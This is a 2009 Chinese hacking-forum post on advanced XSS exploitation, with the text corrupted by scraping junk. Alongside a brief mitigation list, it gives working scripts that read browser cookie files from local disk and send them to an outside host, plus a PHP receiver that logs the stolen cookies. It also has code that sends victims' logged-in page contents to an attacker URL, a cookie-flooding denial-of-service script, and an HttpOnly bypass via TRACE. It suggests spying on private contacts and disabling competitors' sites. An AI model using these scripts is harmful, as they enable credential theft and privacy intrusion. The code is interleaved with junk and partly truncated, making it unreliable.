XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
7 n) ]+ x8 w5 G本帖最后由 racle 于 2009-5-30 09:19 编辑 % D8 \; J8 U( l' E [; A3 J* e
1 s$ j p7 |1 OXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页7 o* \4 A k; h8 G* d
By racle@tian6.com
$ v" {4 d/ R7 `+ R3 U3 x8 J9 Q; Ihttp://bbs.tian6.com/thread-12711-1-1.html
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-------------------------------------------前言---------------------------------------------------------
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2 ~ V, `# H. ?2 E6 |; m# D8 N5 D7 a本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:
1 v) V2 y/ u2 q2 lhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
1 d \7 h' I- G8 U3 Whttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全( X% o0 k* m* ^0 |
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
# o8 t8 c; c/ H+ I, n+ X8 _http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF7 j: o; q$ o6 A
http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码( v, t0 i# Z% G" T! t' {# h4 p
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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; h& h, B+ b. g/ F5 C$ U+ R6 V如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,; M' l2 L' R- h/ K) l, S" a3 a
# Z% d# P0 j# p/ IBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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+ H+ s7 i5 a; k6 {4 \ IQQ ZONE,校内网XSS 感染过万QQ ZONE.5 P% a' f0 d& X6 }
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪) U: b3 U' Y& E" V ?
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b# o& \; L+ o1 D h) S复制代码------------------------------------------介绍-------------------------------------------------------------
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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' Q s& d) W; ~( W/ ^ \+ X/ I跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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# {' g1 ~# F1 v$ Y9 G: f2 u如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
% }' N# |# w ]复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.! k- b) h9 N7 x# D
我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?+ E6 M+ K# G6 ?) P% _
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
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3 XSS的高级利用和高级综合型XSS蠕虫的可行性?! ^: Z& \2 q1 s# y( Q" F
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4 XSS漏洞在输出和输入两个方面怎么才能避免.
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3 G1 P ~( U/ t, H8 ]4 r1 l------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.) K, F$ W. m& k4 W" r
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫( g, q' T/ U% l( h. d
复制代码XSS漏洞在输出和输入两个方面怎么才能避免." a/ r* h+ a# ~- ~0 m8 D
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
! f8 u7 x0 b& r2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.1 w" G' T0 M8 Z) i
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
1 I; Z W' Q) G4 }/ y4:Http-only可以采用作为COOKIES保护方式之一.& ^ x& o; L! q6 L& {: r
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9 H D% N, `$ ~# U# c9 b. ?(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)1 ]0 z; Z+ e9 z, W u9 k
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, i+ O$ Y5 j1 i9 t- S$ y7 t 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。! r2 _( Z7 w' B; `
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。5 `$ X9 l7 }& y
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
# Z9 M- H3 ]" a' e4 t, N复制代码IE6使用ajax读取本地文件 <script>9 l! b4 z* L6 p7 | _/ T+ |
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function $(x){return document.getElementById(x)}
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function ajax_obj(){2 m& Y/ Q& W" O# Q" H7 p
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var request = false;
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if(window.XMLHttpRequest) {
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- y( y, A3 W3 L# d( N) `7 m request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',7 C! Z$ P) s- [# G: ^
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
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9 k# q8 |6 z/ p! l request = new ActiveXObject(versions);% J- Q6 M: V" _4 [/ m A% [% T4 p- a, l
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} catch(e) {} ?3 [& g, Z7 o
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}
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var _x = ajax_obj();
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, K6 `) l3 G$ W; ~1 F _x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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. f1 |. K2 Z) U6 D _x.send(argv);
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return _x.responseText;
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alert(txt);
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</script>
& c5 L9 h7 |/ I+ |: _+ p复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>, ~ X2 F, F9 n1 y/ |( |
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0 j( P7 b4 J6 W& d function ajax_obj(){0 _+ j0 B7 g: f5 R% a9 n
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var request = false; x- a' B( W9 G9 E% B
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- d9 o1 O- \' w; G: P% M" P. E: ~ request = new XMLHttpRequest();0 z" V8 s3 i7 H) c
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} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];7 @& N% B: V6 |$ d4 M: O- A
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for(var i=0; i<versions.length; i++) {
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try {' Y" H6 C5 c; F+ u
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request = new ActiveXObject(versions);, a' R1 a8 Y9 k: L( i
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. s( m" t* q0 c9 ` return request;
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var _x = ajax_obj();4 C2 L3 Q* P' N- a6 |4 V* t5 N
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_x.open(_m,action,false);0 ]3 p' ?1 j* w+ k, y% j
( R9 v3 P, e1 X, D if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);) X2 W( }9 }8 i' g! F* i# N
' ?+ Y( o6 V7 m& T$ `" V, o return _x.responseText;7 `* Q r; P" ^" ~7 a
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var txt=_7or3("GET","1/11.txt",null);, g$ a8 Z7 y5 A2 s7 ~! `
2 G, a: f E) P alert(txt);
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9 U, H: k9 [( }* N5 ^ </script>
* Q& |8 p9 L- U3 v+ R1 I复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”5 i7 `# A8 f- C/ I( q" V( x
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S+ M/ K8 G! fChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<?
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: W2 t( v$ L( ^8 C. D6 D0 L/*
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, Z }1 D0 i3 h4 I* z1 p1 R Chrome 1.0.154.53 use ajax read local txt file and upload exp
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author voidloafer@gmail.com 2009-4-22
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.
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*/ 5 x- O7 c5 ]0 G8 p6 h4 A0 ~
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header("Content-Disposition: attachment;filename=kxlzx.htm"); ) b! u% O/ H( _- w& ^1 x; T
- e8 {! s5 v% {& s: dheader("Content-type: application/kxlzx");
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/*
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set header, so just download html file,and open it at local. ' { ]4 b3 r' \/ H5 h
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*/
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% V2 G" N; F `+ G N* Q' s8 }<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> , P2 ?' a; |3 k* ?4 b3 R. ^
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<input id="input" name="cookie" value="" type="hidden"> % n+ X5 Y- i7 ?; g+ X
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</form> & F! O/ g2 t( {4 ` }- t' S8 w q. H
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<script> . l$ {, X6 e( R1 y. b5 ?
% f$ |# l. h( h9 o) nfunction doMyAjax(user)
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: m# _* p1 M) y( Svar time = Math.random(); 3 `+ R: R* p; s; O7 d1 H
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/* ' p) O* V- ~% B+ t
' N2 K/ @4 D' Z8 S T& Vthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default 9 |' u" T# y7 i2 D. h! O: j5 p( {. j' [
/ d; D) @' `9 k Xand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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6 ?4 e: U- R3 d6 Yand so on... ; o8 f, u# T7 P9 \
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;
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/ {/ u, r) ~$ W4 Y& ?8 j( i7 |/ PstartRequest(strPer); . l; P0 N* d! r! z, i
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/ b j) h/ |4 n2 F. m- H8 Kfunction Enshellcode(txt)
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var url=new String(txt); 7 j/ W* z) g% \' K* V
; [4 Q. x, O& A3 j9 f
var i=0,l=0,k=0,curl="";
# E; h2 i) m' v, x' j
. v: I! H. k. ?# w( |0 Yl= url.length;
+ H: q/ t8 c( g9 g P
. i! d; V2 v, L8 U6 R1 Ifor(;i<l;i++){
# c! k+ ?( C* H5 i# X
+ [) G2 P' p3 c% k+ r v: R0 [& R; Ok=url.charCodeAt(i);
9 D3 O' P% b% d" k# L4 \
' h( N& b f( }5 l- `9 gif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
p& D7 c. P- t# l9 s/ U* t& L* \
if (l%2){curl+="00";}else{curl+="0000";} & [8 D: T) H! h* W1 Z
4 s5 x' p$ \6 X8 n0 ^+ qcurl=curl.replace(/(..)(..)/g,"%u$2$1");
. o ~9 O( ~' M$ l5 s, N r' o/ C5 U, @1 K! ?
return curl;
% a# Y6 ~: W1 Z8 p, J/ b$ W% E7 P+ x
} ; N: V! z3 Q+ i. \
" s% k% Y" R. i/ N5 d) A9 N [
$ Y1 T$ z7 h' \6 `6 c
9 Z7 p9 u- U6 V& n! i
2 B4 W- k- w: S* M, k+ a! |) h* r$ l' B8 o1 L- O1 j' r+ L0 X
var xmlHttp;
: g+ \2 P' w' Q2 Z" Z
: ~( V, e+ @( {* w% D- e4 \& Jfunction createXMLHttp(){
' m! p' t4 c$ t
3 z7 o) a6 |: k3 m5 l if(window.XMLHttpRequest){ - K7 I* K3 A+ r: }% y
! u7 n$ z! @/ z1 r9 ~! P$ TxmlHttp = new XMLHttpRequest();
$ b d" Z) S Q, X; l
5 q8 T( {. Y" D! q% R, ` }
) {0 t3 n; M9 n( j9 @7 M7 {* G: Z4 O- {* F) S
else if(window.ActiveXObject){ ' Y# G" B8 s7 _% _2 q5 |
3 [& P( {$ J2 y3 \xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); : a2 R P, Q8 R) D1 o
H6 G( C; ^0 \4 P }
2 v/ o9 ^$ Q- r6 T" ]
/ E: V9 S1 w$ R+ b8 b}
0 B! n! h% n5 y- o; N* f
, U5 ^1 o+ m0 ~ k2 H
" i' `$ u% Y# v9 i/ X+ l" b# c2 D
! M8 `3 n% p2 H2 Hfunction startRequest(doUrl){ 6 c' v" t; u1 C& ?$ D' J/ C
8 U+ _) n6 L7 P: y: {) N
6 q- @6 u% A% {
3 G; m4 @4 S/ e+ w createXMLHttp(); 0 f7 \" I1 A# C' j+ \. d" ]8 ~
- [4 `1 z b) J% T
+ W% Y0 O$ w, [+ {$ R* k" M& K- {2 |8 p$ {$ r( c, H6 U% _- T4 { l0 Y
xmlHttp.onreadystatechange = handleStateChange; & g0 d+ a- x6 p8 A: Y+ s( P9 E
; i' P' E; I5 r3 c! H7 r
& F% i- A6 X: C6 T# i
9 X6 w6 l' \9 f+ \. V xmlHttp.open("GET", doUrl, true);
! w8 q, X( I6 p& E0 ~7 h" P+ s% U$ `) {/ Q4 ?4 ?
- s) u5 ~* c9 N1 `1 v
- t. D4 W4 W0 ]4 h xmlHttp.send(null);
7 V- z! Y4 n- H8 Y1 D5 z5 m3 c
2 z7 l( w i, z4 @3 X6 w
/ p" Z& a; c' p# \ r) r4 w ]$ t; d( S% B% J1 V
) V1 s) O9 q+ D7 }- H$ o2 M
9 k( Y, |, v; D0 f7 s H8 Y}
& b6 x1 u! I2 v" j+ T! D2 ~# h2 ^, t! e* V
2 Y$ y4 A1 u$ m
4 ?7 u" ^- p; P" J% D+ Ofunction handleStateChange(){
: [) P) c: \+ X' A3 r) G- `6 }9 ?3 \, u( T% Y( K
if (xmlHttp.readyState == 4 ){
" d6 ?& h- V3 q9 f+ V( I4 D# L1 A3 v, H) @. \
var strResponse = "";
; a+ k4 d) J3 h1 G* i
; x0 S) ? c B, a( d# p setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
% x. L0 \( R: J* k) D0 v/ s/ W! }: M7 i( k7 a
* Q. |. J! B( e! k
) U) B( }! b" _7 I% I( j) a8 n+ h; u- P } 4 z1 q. p o( x- V, s
/ D; X2 y" E4 v+ y1 k4 p$ V7 v}
+ Z( t) Y" b! t
2 z& ^: ~, m* |" c q
( `3 e! P: j* u" I, f' s1 h9 ^, N7 B0 N! k5 f
- o8 `9 `) B9 c9 D' J0 ~/ D* Z3 |& I
function framekxlzxPost(text)
2 F# F' O7 f1 _/ ~- C% u
- A8 `1 _, N+ J" C3 m& h+ [{ * h1 D; f: \) q# p+ s% e K
, u6 W6 M# e4 Y/ y) A: H document.getElementById("input").value = Enshellcode(text); 3 S/ }6 C7 X7 b6 f! r& ^9 J) t. m9 I
- ?: @ S4 s- X8 e document.getElementById("form").submit(); 5 N' N8 ]+ F7 |
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} 1 F! r* d% V4 ]
9 s" e" z) ]7 [ ( y7 s8 i% L4 L7 N
. Z8 } v9 t5 @6 g9 p& x" \9 VdoMyAjax("administrator"); 7 w- I. f& ^6 z0 e) R# Z
0 ? Y: _( [% K- `( W4 @
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! J5 l' n8 t/ {1 N# ^5 D</script>
, d8 u7 F& Q+ @8 K5 e, `复制代码opera 9.52使用ajax读取本地COOKIES文件<script> + P3 A. S& t1 o
2 j1 ?+ r& N3 W8 p5 T. B) r6 @
var xmlHttp; ; K1 {" b6 F( f5 o1 m/ t' |
- j7 v- [- f/ S. E o
function createXMLHttp(){
/ [: ^8 R! i1 M/ l5 n" [: p' `* {
8 k2 x+ _2 U% H t* ^5 Y if(window.XMLHttpRequest){ , @; w) g, }6 t/ ~( T* K6 \
0 B' J9 y% {: j+ U$ w/ t
xmlHttp = new XMLHttpRequest(); 5 O0 g8 d* a( ?# B) x0 |
1 D8 }" _- Y: [0 ]2 u
} ) p( x- @8 e5 b0 [, _! n
; H5 P2 A: i, \1 k; n8 \ else if(window.ActiveXObject){
4 M8 @. q2 F& ]* K2 g( E# g# B; k
; t# b* u, y4 P xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
: P+ U, k' M! N
( k# Y9 Z0 Y0 y3 ]) F6 n }
2 _0 D j7 q: y5 o9 B: h6 V
4 N+ u7 A$ R! J& H0 @}
" N2 W: Q1 D; P9 ]& q# Z2 e
3 `4 o6 @: Y0 D+ Y! T: F" g% k 0 j- Z" i+ F. r. `. Q# z8 u9 j
! N- a& t" ]+ x% q5 Kfunction startRequest(doUrl){
% Z- H8 L7 S, I3 r t3 s: b, V" D& u* W- u4 ^
* _- ]; E9 [" k) x$ g( [$ `
* M. ~3 E, a1 b9 W9 N; F7 W/ t
createXMLHttp();
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3 I! B8 V: K; {* {( [) M2 b6 i% Z p4 A2 k# j9 A
xmlHttp.onreadystatechange = handleStateChange; ( N% j$ A3 a9 a4 ]6 ]" b% Z
l5 h0 S0 s! K! }% V
4 F" L0 _ a( k T" y
3 ` X( k' ? d+ r xmlHttp.open("GET", doUrl, true);
+ M4 ~- h3 V# `. t% O( n& n# \* z2 L: V# h3 _6 i& c/ h
9 u+ k- E8 f9 D
6 B" Z1 ^- J6 @0 i xmlHttp.send(null);
( O% A- s7 I* q4 P7 L4 B9 F& u. z* p/ E1 J2 Z) T( A$ x
, {$ B4 F" P% E6 n/ I5 Y0 ^
$ q2 X% z% M" ^( P # a1 V( D# G8 P8 T; L: f3 A
3 N1 O! u1 B5 x2 B* @
}
4 x' I1 T7 I: ]- T& a4 A! @9 u' `. T: w L8 L; M: W! [, B: T
/ i8 y/ J* M }% Q, T4 f
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function handleStateChange(){
W( r" z$ z+ ~$ V: q8 S0 [0 D% E- Z% J
if (xmlHttp.readyState == 4 ){
& ^- E/ q$ s9 p$ @+ Q9 F a; P8 x) A2 l; h6 t
var strResponse = "";
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& F5 p6 t0 ^9 J' a setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
: I. n+ h6 x; A$ T. T4 f
: b7 {, v0 U1 _3 h1 K" B " H4 w. x0 J4 F; W$ W: {
; ~/ ~ K* t0 j8 q. _
}
1 q5 l9 k- R. d7 D/ B5 x) t
3 i$ J( r& [ P2 s8 P5 z9 B}
2 X: N) a" A7 f4 {: W. A$ [* W- i1 T4 r% W; v) |$ s
8 x/ P, x3 k4 {. j* g
% G* E. H; D0 I6 y g( Zfunction doMyAjax(user,file)
% c q0 ^) W& l. k' X
4 P2 Y) t' i. ^1 B/ I i. Y2 ]; |{ 4 }2 ?& b, h' d: M; ^& V* o2 ]
6 V, D$ T3 g* x7 x1 p! } var time = Math.random(); / O3 [: l% B" {: O" P/ k
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. M4 F' k9 ~7 [/ R1 p0 Z: o) U' I* k# y0 }" X
var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
6 M7 u% Z, u4 }+ T$ i& ?9 ?% q
( M5 \5 A8 x/ m
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startRequest(strPer);
2 h8 [3 |2 k. o
6 {* C( W8 e+ Q6 j5 E( K 4 s/ s! @# {4 t
* ]) | G& U3 ^; r, s}
- L$ U# K5 ?' U+ B% V" C3 j4 k8 M
4 u1 y. x! [- V0 U* c- y2 ~0 \5 ~4 i 4 f" B+ M+ g! G* o( n( E
1 }0 ^$ N6 d1 F; S6 M% Ofunction framekxlzxPost(text)
; z' X2 h6 i" y
! f) Z; m; I# D$ J/ n8 e& [, Z{
7 }* Q" H! O; ~- t2 Y+ x* @1 @: g1 X- Z+ [0 F) K) z
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); / E0 i- F# f' ?! t/ P& C
7 d( s( l. g! w8 ]6 {+ J alert(/ok/); 5 g1 J# A5 h. K- L# l& [
/ w: U( N6 I8 H4 w) S0 E
}
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3 n/ A% T/ \; ] & V% e, [8 `' q- J4 s( R) f8 O
% `% F9 i$ V- m& A4 DdoMyAjax('administrator','administrator@alibaba[1].txt'); e5 ^. N4 y5 f
+ }9 ?. \2 x1 Z# V
/ ^- h E4 l% r1 a
+ b E- i/ \+ K; T3 ?
</script> k! v( t% e6 T6 m n
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3 o$ c. L4 I& M1 Y7 A; w5 }, z
' p6 E+ P* d+ v$ k* L- va.php
' D" q9 e& j3 |
5 s0 k5 V: U, z4 a6 r8 u" k4 {1 ?+ ?* a6 i
( ?/ x& V7 g6 _; o; f+ f2 {
<?php $ w3 G& X1 z0 \. a' ?# c
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
# q" ]9 `" f8 \+ ]& L
: Z( m/ S l$ n" |$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
9 _) m7 G( V" H9 Y: j8 V4 Z2 Y1 Z* @3 k# b7 `% ^0 h8 K
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6 P: [& T# T3 C1 ?
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); T3 \8 T: h7 h3 ~# \; x
* w- n- M6 S$ R! X8 o( }6 A+ ?fwrite($fp,$_GET["cookie"]); & t+ [9 D+ @( q% ?
x4 O4 D) U. r3 V" K& x& Kfclose($fp); 8 y/ f' F3 f y
& V$ Y' J$ Y( n4 U% c?>
7 z. v! A6 d5 U J3 U复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
0 j" t4 n( |" q/ z: X2 q3 B3 e* t1 s( K7 w
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
% ]5 A8 ?' h. s1 Q& e/ r+ r利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
1 P0 ~& m2 N' b$ @ r* c7 b
v X- I9 @6 n6 U$ o! w代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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( N6 P3 y. [9 o: N4 |9 H/ A1 m//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);( C9 V* I3 K# R; ]' j1 O4 h8 A9 Q
; w4 m0 @: k1 @" `, `//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
: f1 h8 ?1 m# r" t2 X3 Z9 }& T! t3 E, Z F6 u- Z8 f0 d' f
function getURL(s) {+ k5 v1 x, z' c5 ?! y
+ w7 R+ U0 _7 P4 s c; Q! Q! h3 i
var image = new Image();
3 S6 @4 X6 x# ?
. K5 k# N. t) ]3 kimage.style.width = 0;% f/ t9 v" X; c/ Q( H, n0 r# F2 w j
. ]% ^& w6 w; m7 }5 c' {image.style.height = 0;
' V, @* C/ m, L% z' S7 }( e! y$ t/ l) R2 e! n
image.src = s;
6 h R: I4 m t* K9 z; P4 N7 E) ~ V* u( B
}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
; r& B0 m; z0 r% b; s复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
; \8 S1 b! Y* ^) a" G这里引用大风的一段简单代码:<script language="javascript">) i7 F Q+ q- F) N/ @6 L# V- Z
) H* Q1 b" Y- t" }var metastr = "AAAAAAAAAA"; // 10 A9 r4 b \, x8 t k
& M& Y& H6 c7 D2 K: }) zvar str = "";
! R4 Y& U2 @- ~# d
: Y4 W* N6 I4 L: M6 Dwhile (str.length < 4000){
* Q! [, i z" C7 s! J( f& R9 v
3 Y7 x7 {6 R+ }0 X7 ^ str += metastr;
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}! R3 a. m& s9 v2 h% n) l2 U0 b
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) L9 b( c8 l" j, e2 Ndocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS6 H6 \$ y* j1 Q! t' Z
9 b, Q: Y+ ]. g( H# C& k
</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
$ U- t/ B2 ^9 R, t' r6 L# `复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.; e# b) t+ V, h1 ~
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150$ ?4 f& N* P$ J* s
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com." M* j2 S7 F2 {7 f
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.3 P; L+ C' G$ |: D( S& y
) |, p1 p/ m3 _7 P
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7 C1 l5 ^* W4 [7 S- I E$ J& b7 k( v6 {4 O1 x6 p
0 K+ n+ `. H2 w6 a. F(III) Http only bypass 与 补救对策:3 }+ h& X1 a2 X' J. o
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什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.
: W. \( B2 p+ d6 k, m+ L$ r以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">! T4 [, E( F3 j# D# `4 d3 h8 g& Y
1 g* ^* `3 [5 r3 [$ ~
<!--
% \2 I) @. Z: b3 @0 m
- x5 o- f h1 l, f# F3 C* P5 [function normalCookie() {
% E4 U" n5 T% L$ P, ]7 l& g8 ~5 c
: [/ V' |# Y5 Kdocument.cookie = "TheCookieName=CookieValue_httpOnly"; % ^5 G% b# U( R: m+ _
, G" H7 k/ C2 O" x Dalert(document.cookie);
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2 p# D x; M! v& |1 B& e+ m}, C" x" ]: Z5 W5 C
7 [& {2 E* r$ q4 f Z' \" {
$ R) ]4 ?7 E$ o( b
; P6 l! k" [, b- G# J! E8 c! x2 m0 w+ W
, s7 H6 J. {% T7 l: F5 \function httpOnlyCookie() { # u; T$ r# c: @' v9 m) B
; g; a3 B5 I- y) X) n$ [
document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
5 _* j. p8 G" ~8 J6 I' S; g3 s7 Z; n
alert(document.cookie);}
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7 o0 ]; E% l) Z. l) C3 b
//-->. Y' c- C; p; x7 o2 ~; [
0 S& U" \- x+ Z h
</script>/ X$ n( d1 I7 [6 \& t; r
" K4 i" p7 ]& u
8 K ]8 G0 }5 R' a4 F+ a3 ^7 a
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
+ [2 ~. @; Q1 }1 _. C
( m2 p7 g+ l5 K! D% D<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
3 j, j: K# ?$ Z$ o9 D复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>% ~% p/ ]+ P3 x1 ^
h1 w8 n/ [$ c1 d
+ ]' X) G5 J3 |$ n- `7 L8 T2 ^' Y
0 ~1 V( J% m* ]! F2 jvar request = false;" `: Z8 k6 e- J) Q/ m
5 d. n+ X ~$ P
if(window.XMLHttpRequest) {3 V/ l8 O/ b' p& z9 W
$ H$ G) }( O7 G4 u, a1 @- o- P3 m% r- r request = new XMLHttpRequest();
1 K* J# X* K) c2 @ ?4 S& D2 u- U9 x. V1 p' B6 F1 O$ @4 k5 f
if(request.overrideMimeType) {
6 h. V& O/ }- i: [. C- b) i* |4 V/ `5 l1 @& {% `) b+ v# Q% L* {- m
request.overrideMimeType('text/xml');
9 \( c+ r( U; ?8 g+ u% [4 h* E! A) I8 F+ L
}
2 P) y, g U; h( t; M
) q0 C; a* l. m8 |% B( J4 K, x } else if(window.ActiveXObject) {
/ L; O' H0 E; W# {
$ x1 b; e% k: k4 \* V8 T$ b var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {
i, q0 ~- x6 p9 m
2 ]/ R' v4 o# A try {
; ~% D N+ \2 z3 N, {7 o/ c/ y7 w) s2 E
request = new ActiveXObject(versions);2 O4 q/ [$ H# l V5 U! Z3 x
